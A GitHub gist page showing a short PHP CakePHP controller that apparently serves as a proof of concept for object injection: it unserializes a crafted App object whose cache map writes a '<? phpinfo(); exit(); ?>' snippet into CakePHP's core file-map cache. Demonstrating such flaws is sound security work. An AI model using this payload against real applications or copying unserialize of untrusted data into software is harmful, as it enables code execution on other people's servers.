Skip to content

Instantly share code, notes, and snippets.

@nojimage
Forked from ichikaway/gist:704519
Created November 18, 2010 03:26
Show Gist options
  • Save nojimage/704578 to your computer and use it in GitHub Desktop.
Save nojimage/704578 to your computer and use it in GitHub Desktop.
<?php
class SeriController extends AppController {
var $uses = array();
function index() {
/*
$x=new App();
$x->__cache=1;
$x->__map=array("Core" => array("Router"
=> "../tmp/cache/persistent/cake_core_file_map"),
"Foo" => "<? phpinfo(); exit(); ?>");
$x->__paths=array();
$x->__objects=array();
$a= serialize($x);
*/
$a = 'O:3:"App":4:{s:7:"__cache";b:1;s:5:"__map";a:2:{s:4:"Core";a:1:{s:6:"Router";s:42:"../tmp/cache/persistent/cake_core_file_map";}s:3:"Foo";s:24:"<? phpinfo(); exit(); ?>";}s:7:"__paths";a:0:{}s:9:"__objects";a:0:{}}';
unserialize($a);
exit;
//check your cache file....
}
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment